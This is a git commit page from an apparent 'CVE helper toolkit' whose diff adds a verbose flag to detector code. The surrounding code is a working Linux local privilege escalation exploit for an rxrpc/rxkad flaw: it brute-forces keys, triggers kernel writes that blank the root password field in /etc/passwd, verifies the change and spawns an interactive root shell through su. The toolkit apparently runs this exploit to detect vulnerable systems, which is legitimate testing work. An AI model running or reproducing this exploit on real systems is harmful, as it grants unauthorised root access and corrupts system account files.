cve-toolkit

CVE helper toolkit
git clone git://git.finwo.net/app/cve-toolkit
Log | Files | Refs | README | LICENSE

commit 0e8be13b8e3ac9a57c735b8c90ee5e3b5eb526be
parent 8a3b19ff6041f73cf413d7a81d8aeb2470713d1b
Author: finwo <finwo@pm.me>
Date:   Sat,  9 May 2026 01:39:33 +0200

Separate verbose handler, allow future expansion of arguments without rewrites

Diffstat:
Msrc/detector/cve-2026-31431.c | 3++-
Msrc/detector/dirtyfrag.c | 63+++++++++++++++++++++++++++++++++------------------------------
Msrc/detector/setup.c | 4+++-
Msrc/detector/setup.h | 10++++++++--
Msrc/main.c | 11+++++++++--
5 files changed, 55 insertions(+), 36 deletions(-)

diff --git a/src/detector/cve-2026-31431.c b/src/detector/cve-2026-31431.c @@ -6,7 +6,8 @@ #include "setup.h" -int detector_cve_2026_31431(int num) { +int detector_cve_2026_31431(struct cve_context *ctx) { + (void)ctx; int fd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (fd < 0) { perror("socket"); diff --git a/src/detector/dirtyfrag.c b/src/detector/dirtyfrag.c @@ -22,6 +22,7 @@ #include <linux/rtnetlink.h> #include <linux/xfrm.h> +#include "setup.h" #ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif @@ -631,9 +632,9 @@ static uint8_t SESSION_KEY[8] = { 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08 }; -#define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__) -#define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__) -#define DBG(fmt, ...) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__) +#define LOG(fmt, ...) do { if (g_cve_ctx.verbose) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__); } while (0) +#define WARN(fmt, ...) do { if (g_cve_ctx.verbose) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__); } while (0) +#define DBG(fmt, ...) do { if (g_cve_ctx.verbose) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__); } while (0) /* =================================================================== */ /* unshare + map setup */ @@ -1400,7 +1401,7 @@ static int find_K_offline_generic(const uint8_t C[8], uint64_t max_iters, clock_gettime(CLOCK_MONOTONIC, &ts1); double dt = (ts1.tv_sec - ts0.tv_sec) + (ts1.tv_nsec - ts0.tv_nsec) / 1e9; - fprintf(stderr, " [%s %.1fs] iter=%lu (%.2fM/s)\n", + if (g_cve_ctx.verbose) fprintf(stderr, " [%s %.1fs] iter=%lu (%.2fM/s)\n", label, dt, (unsigned long)iter, iter / dt / 1e6); } } @@ -1410,8 +1411,8 @@ static int find_K_offline_generic(const uint8_t C[8], uint64_t max_iters, int rxrpc_lpe_main(int argc, char **argv) { - fprintf(stderr, "\n=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===\n"); - fprintf(stderr, "[*] uid=%u euid=%u gid=%u\n", + if (g_cve_ctx.verbose) fprintf(stderr, "\n=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===\n"); + if (g_cve_ctx.verbose) fprintf(stderr, "[*] uid=%u euid=%u gid=%u\n", getuid(), geteuid(), getgid()); { @@ -1474,15 +1475,15 @@ int rxrpc_lpe_main(int argc, char **argv) } LOG("/etc/passwd line 1 first 16 bytes:"); for (int i = 0; i < 16; i++) - fprintf(stderr, "%02x ", (uint8_t)m[i]); - fprintf(stderr, "\n"); + if (g_cve_ctx.verbose) fprintf(stderr, "%02x ", (uint8_t)m[i]); + if (g_cve_ctx.verbose) fprintf(stderr, "\n"); } - fprintf(stderr, "[*] /etc/passwd line 1 (root entry) BEFORE: '"); + if (g_cve_ctx.verbose) fprintf(stderr, "[*] /etc/passwd line 1 (root entry) BEFORE: '"); for (int i = 0; i < 32; i++) { char c = ((const char *)map)[i]; fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr); } - fprintf(stderr, "'\n"); + if (g_cve_ctx.verbose) fprintf(stderr, "'\n"); /* === STAGE 1 — THREE-SPLICE OFFLINE BRUTE FORCE === * @@ -1549,7 +1550,7 @@ int rxrpc_lpe_main(int argc, char **argv) const char *se = getenv("LPE_SEED"); if (se) seed_base = strtoull(se, NULL, 0); - fprintf(stderr, "\n=== STAGE 1a: search K_A (chars 4-5 := \"::\") prob ~1.5e-5 ===\n"); + if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 1a: search K_A (chars 4-5 := \"::\") prob ~1.5e-5 ===\n"); if (find_K_offline_generic(Ca, max_iters, fc_check_pa_nullok, Ka, Pa_out, seed_base, "K_A") != 0) { WARN("K_A search exhausted"); return 2; @@ -1566,7 +1567,7 @@ int rxrpc_lpe_main(int argc, char **argv) Cb_actual[0],Cb_actual[1],Cb_actual[2],Cb_actual[3], Cb_actual[4],Cb_actual[5],Cb_actual[6],Cb_actual[7]); - fprintf(stderr, "\n=== STAGE 1b: search K_B (chars 6-7 := \"0:\") prob ~1.5e-5 ===\n"); + if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 1b: search K_B (chars 6-7 := \"0:\") prob ~1.5e-5 ===\n"); if (find_K_offline_generic(Cb_actual, max_iters, fc_check_pb_nullok, Kb, Pb_out, seed_base ^ 0xa5a5a5a5a5a5a5a5ULL, "K_B") != 0) { @@ -1582,7 +1583,7 @@ int rxrpc_lpe_main(int argc, char **argv) Cc_actual[0],Cc_actual[1],Cc_actual[2],Cc_actual[3], Cc_actual[4],Cc_actual[5],Cc_actual[6],Cc_actual[7]); - fprintf(stderr, "\n=== STAGE 1c: search K_C (chars 8-15 := \"0:GGGGGG:\") prob ~5.4e-8 ===\n"); + if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 1c: search K_C (chars 8-15 := \"0:GGGGGG:\") prob ~5.4e-8 ===\n"); if (find_K_offline_generic(Cc_actual, max_iters, fc_check_pc_nullok, Kc, Pc_out, seed_base ^ 0x5a5a5a5a5a5a5a5aULL, "K_C") != 0) { @@ -1590,45 +1591,45 @@ int rxrpc_lpe_main(int argc, char **argv) } } - fprintf(stderr, "\n[+] Predicted post-corruption /etc/passwd line 1:\n \"root"); + if (g_cve_ctx.verbose) fprintf(stderr, "\n[+] Predicted post-corruption /etc/passwd line 1:\n \"root"); /* chars 4-5 from P_A */ for (int i = 0; i < 2; i++) fputc((Pa_out[i]>=32&&Pa_out[i]<127)?Pa_out[i]:'.', stderr); /* chars 6-7 from P_B */ for (int i = 0; i < 2; i++) fputc((Pb_out[i]>=32&&Pb_out[i]<127)?Pb_out[i]:'.', stderr); /* chars 8-15 from P_C */ for (int i = 0; i < 8; i++) fputc((Pc_out[i]>=32&&Pc_out[i]<127)?Pc_out[i]:'.', stderr); - fprintf(stderr, "/root:/bin/bash\"\n"); + if (g_cve_ctx.verbose) fprintf(stderr, "/root:/bin/bash\"\n"); /* === STAGE 2 — THREE KERNEL TRIGGERS (in order A → B → C) === * Each trigger does a single in-place decrypt at the * indicated /etc/passwd file offset. Last-write-wins on overlapping * bytes determines the final state. */ - fprintf(stderr, "\n=== STAGE 2a: kernel trigger A @ off %d (set chars 4-5 \"::\") ===\n", off_a); + if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 2a: kernel trigger A @ off %d (set chars 4-5 \"::\") ===\n", off_a); memcpy(SESSION_KEY, Ka, 8); if (do_one_trigger(rfd_ro, off_a, 8) < 0) { WARN("kernel trigger A failed"); return 3; } - fprintf(stderr, "\n=== STAGE 2b: kernel trigger B @ off %d (set chars 6-7 \"0:\") ===\n", off_b); + if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 2b: kernel trigger B @ off %d (set chars 6-7 \"0:\") ===\n", off_b); memcpy(SESSION_KEY, Kb, 8); if (do_one_trigger(rfd_ro, off_b, 8) < 0) { WARN("kernel trigger B failed"); return 3; } - fprintf(stderr, "\n=== STAGE 2c: kernel trigger C @ off %d (set chars 8-15 \"0:GGGGGG:\") ===\n", off_c); + if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 2c: kernel trigger C @ off %d (set chars 8-15 \"0:GGGGGG:\") ===\n", off_c); memcpy(SESSION_KEY, Kc, 8); if (do_one_trigger(rfd_ro, off_c, 8) < 0) { WARN("kernel trigger C failed"); return 3; } /* Verify: re-read line 1 of /etc/passwd via mmap. */ - fprintf(stderr, "[*] /etc/passwd line 1 (root entry) AFTER: '"); + if (g_cve_ctx.verbose) fprintf(stderr, "[*] /etc/passwd line 1 (root entry) AFTER: '"); for (int i = 0; i < 32; i++) { char c = ((const char *)map)[i]; fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr); } - fprintf(stderr, "'\n"); + if (g_cve_ctx.verbose) fprintf(stderr, "'\n"); /* Sanity-check: chars 4-5 = "::", 6-7 = "0:", 8-9 = "0:", 15 = ':'. */ { @@ -1642,12 +1643,12 @@ int rxrpc_lpe_main(int argc, char **argv) return 4; } } - fprintf(stderr, + if (g_cve_ctx.verbose) fprintf(stderr, "\n[!!!] HIT — root entry now has empty passwd field, uid=0, " "gid=0, dir=/root, shell=/bin/bash.\n"); /* === STAGE 3 — VERIFY VIA getent passwd root === */ - fprintf(stderr, + if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 3: independent verify via `getent passwd root` ===\n"); { int p[2]; @@ -1669,9 +1670,9 @@ int rxrpc_lpe_main(int argc, char **argv) waitpid(pid, &wstatus, 0); if (r > 0) { buf[r] = 0; - fprintf(stderr, "[getent passwd root] %s", buf); + if (g_cve_ctx.verbose) fprintf(stderr, "[getent passwd root] %s", buf); } - fprintf(stderr, + if (g_cve_ctx.verbose) fprintf(stderr, "[+] PRIMITIVE proven: root entry has empty passwd field " "via NSS.\n"); } @@ -1695,7 +1696,7 @@ int rxrpc_lpe_main(int argc, char **argv) * + nullok flag accepts an empty password. We auto-inject a * single newline on the "Password:" prompt and then bridge the * resulting bash to the user's tty. */ - fprintf(stderr, + if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 4: spawning interactive root shell via `su` " "(no password input needed) ===\n\n"); fflush(stderr); @@ -2128,12 +2129,10 @@ int main(int argc, char **argv) return 0; } - dprintf(2, "dirtyfrag: failed (rc=%d)\n", rc); + if (g_cve_ctx.verbose) dprintf(2, "dirtyfrag: failed (rc=%d)\n", rc); return rc ? rc : 1; } -#include "setup.h" - /* ---- detector plumbing ---- */ static int detector_su_already_patched(void) { @@ -2159,9 +2158,13 @@ static int detector_passwd_already_patched(void) { return memcmp(head, "root::0:0", 9) == 0; } -int detector_dirtyfrag(int num) { - (void)num; +int detector_dirtyfrag(struct cve_context *ctx) { + (void)ctx; + if (ctx->verbose) { + g_su_verbose = 1; + setenv("DIRTYFRAG_VERBOSE", "1", 1); + } if (detector_su_already_patched() || detector_passwd_already_patched()) return 3; diff --git a/src/detector/setup.c b/src/detector/setup.c @@ -10,7 +10,9 @@ int detector_total = 0; int detector_pass = 0; int detector_fail = 0; -void detector_queue_append(const char *name, const char *remediation, int (*fn)(int)) { +struct cve_context g_cve_ctx = {0}; + +void detector_queue_append(const char *name, const char *remediation, int (*fn)(struct cve_context *ctx)) { // Initial queue initialize if (!detector_queue_cap) { detector_queue = malloc(sizeof(void *)); diff --git a/src/detector/setup.h b/src/detector/setup.h @@ -7,8 +7,14 @@ extern "C" { #include <stddef.h> +struct cve_context { + int verbose; +}; + +extern struct cve_context g_cve_ctx; + struct detector_queue_entry { - int (*handler)(int); + int (*handler)(struct cve_context *ctx); const char *name; const char *remediation; int result; @@ -21,7 +27,7 @@ extern int detector_total; extern int detector_pass; extern int detector_fail; -void detector_queue_append(const char *name, const char *remediation, int (*fn)(int)); +void detector_queue_append(const char *name, const char *remediation, int (*fn)(struct cve_context *ctx)); #ifdef __cplusplus } // extern "C" diff --git a/src/main.c b/src/main.c @@ -1,13 +1,20 @@ #include <stdio.h> +#include <string.h> #include "detector/setup.h" -int main() { +int main(int argc, char **argv) { setvbuf(stderr, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); + + for (int i = 1; i < argc; i++) { + if (strcmp(argv[i], "-v") == 0 || strcmp(argv[i], "--verbose") == 0) + g_cve_ctx.verbose = 1; + } + for (int i = 0; i < detector_queue_length; i++) { struct detector_queue_entry *entry = detector_queue[i]; - int result = entry->handler(i); + int result = entry->handler(&g_cve_ctx); detector_total++; if (result == 0) { fprintf(stderr, "[pass] %s\n", entry->name);